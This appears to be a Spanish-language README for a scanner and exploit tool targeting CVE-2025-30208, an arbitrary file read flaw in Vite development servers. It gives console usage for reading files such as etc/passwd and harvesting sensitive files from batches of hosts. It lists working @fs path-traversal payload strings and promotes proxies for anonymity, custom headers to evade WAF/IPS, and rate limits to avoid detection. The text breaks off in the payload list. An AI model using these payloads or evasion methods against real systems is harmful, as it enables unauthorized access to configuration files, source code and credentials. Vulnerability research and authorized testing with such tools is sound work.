🔥 Escáner de Vulnerabilidad de Lectura Arbitraria de Archivos en Vite CVE-2025-30208

---

📖 Descripción General

Este es un escáner de vulnerabilidades integral diseñado para detectar y explotar la vulnerabilidad CVE-2025-30208 en los servidores de desarrollo de Vite. La vulnerabilidad permite el acceso de lectura arbitraria de archivos a través de los endpoints del sistema de archivos de Vite, pudiendo exponer archivos de configuración sensibles, código fuente e información del sistema.

🎯 Qué Hace Esta Herramienta

• Detecta instancias vulnerables de Vite en redes
• Explota la vulnerabilidad de lectura arbitraria de archivos de forma segura
• Descubre archivos sensibles y datos de configuración
• Reporta los hallazgos en múltiples formatos (HTML, JSON, Consola)
• Gestiona sesiones de escaneo y configuraciones
• Maneja errores de forma elegante con mecanismos automáticos de reintento

🏗️ Arquitectura Modular

La herramienta ahora cuenta con una arquitectura modular para un mejor mantenimiento y extensibilidad:

• CVE-2025-30208.py - Aplicación principal del escáner
• payloads.py - Payloads avanzados de explotación (más de 60 variaciones)
• sensitive_files.py - Base de datos integral de archivos sensibles (más de 200 archivos)
• html_template.py - Plantilla mejorada de informes HTML estilo hacker

---

🚀 Inicio Rápido

Requisitos Previos

pip3 install -r requirements.txt

Uso Básico

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

---

📋 Características

🔍 Detección Central de Vulnerabilidades

• Más de 60 Payloads Avanzados: Técnicas integrales de explotación para la máxima detección
• Detección Inteligente: Análisis inteligente de respuestas para evitar falsos positivos
• Validación en Tiempo Real: Validación continua de las respuestas del objetivo
• Pruebas Integrales: Prueba todos los endpoints vulnerables conocidos

🛡️ Características de Seguridad Mejoradas

• Soporte de Proxy: Configuración de proxy HTTP/HTTPS para anonimato
• Cabeceras Personalizadas: Evita WAF/IPS con cabeceras HTTP personalizadas
• Límite de Tasa: Retrasos configurables para evitar la detección
• Gestión de Sesiones: Guarda y restaura sesiones de escaneo
• Validación de Entrada: Validación integral de parámetros

🔧 Capacidades Avanzadas

• Escaneo por Lotes: Escaneo multi-hilo de múltiples objetivos
• Descubrimiento de Archivos Sensibles: Descubrimiento automático de más de 200 archivos sensibles
• Pruebas de Conectividad: Pruebas de protocolo TCP/UDP/HTTP/HTTPS
• Recuperación de Errores: Reintento automático con retroceso exponencial
• Registro Integral: Registros detallados con marcas de tiempo

📊 Informes y Salida

• 🎨 Informes HTML Mejorados: Hermosos informes de vulnerabilidades estilo hacker con animaciones
• Exportación JSON: Datos estructurados para análisis posteriores
• Salida de Consola: Retroalimentación en tiempo real con códigos de color
• Archivos de Registro: Pistas de auditoría detalladas
• Interfaz Web Interactiva: Servidor web integrado para visualizar informes

---

🔧 Guía de Uso

1. Configuración Básica

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Prueba de Vulnerabilidad

CVE-2025-30208 > run

# Enable verbose mode for detailed output
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Escaneo por Lotes

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Press Enter twice to finish]

4. Descubrimiento de Archivos Sensibles

CVE-2025-30208 > scan

5. Configuración Avanzada

# Configure proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Set custom headers
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configure rate limiting
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. Informes HTML Mejorados

# Generate beautiful HTML report
CVE-2025-30208 > pull

# Start web server to view report
CVE-2025-30208 > web

# Start web server on specific port
CVE-2025-30208 > web 8081

# Stop web server
CVE-2025-30208 > web off

---

📊 Referencia de Comandos

Comando	Descripción	Ejemplo
set <option> <value>	Establece opciones de configuración	set RHOST 192.168.1.100
show options	Muestra la configuración actual	show options
edit	Editor interactivo de opciones	edit
run / exploit	Ejecuta la prueba de vulnerabilidad	run
batch	Escanea múltiples objetivos por lotes	batch
scan	Descubre archivos sensibles	scan
pull	Exporta los resultados a HTML/JSON	pull
web [on|off|port]	Servidor web para informes HTML	web 8080
save	Guarda la configuración de la sesión	save
load	Carga la configuración de la sesión	load
test	Prueba la conectividad con el objetivo	test
validate	Valida la configuración actual	validate
verbose	Alterna el modo verbose	verbose
proxy	Configura los ajustes de proxy	proxy
headers	Establece cabeceras HTTP personalizadas	headers
rate	Configura el límite de tasa	rate
log	Muestra la información de registro	log
help / ?	Muestra la ayuda	help
exit / quit	Sale de la herramienta	exit

---

⚙️ Opciones de Configuración

Opción	Descripción	Por Defecto	Validación
RHOST	Dirección IP/host del objetivo	-	Validación de hostname/IP
RPORT	Número de puerto del objetivo	-	Rango de puertos (1-65535)
FILEPATH	Ruta de archivo a probar	etc/passwd	Validación de ruta
PROXY	URL de proxy HTTP/HTTPS	-	Validación de formato de URL
VERBOSE	Habilita la salida verbose	false	Validación booleana
RATE_LIMIT	Retraso entre solicitudes (segundos)	0.3	Validación numérica
THREADS	Número de hilos para el escaneo por lotes	5	Validación de entero
TIMEOUT	Tiempo de espera de solicitud (segundos)	5	Validación de entero
CUSTOM_HEADERS	Cabeceras HTTP personalizadas (JSON)	{}	Validación de formato JSON

---

🎨 Sistema de Payloads Mejorado

El escáner ahora utiliza más de 60 variaciones de payloads organizadas en payloads.py:

Payloads @fs Principales

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

Variaciones de Parámetros Extendidos

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Variaciones Específicas de Vite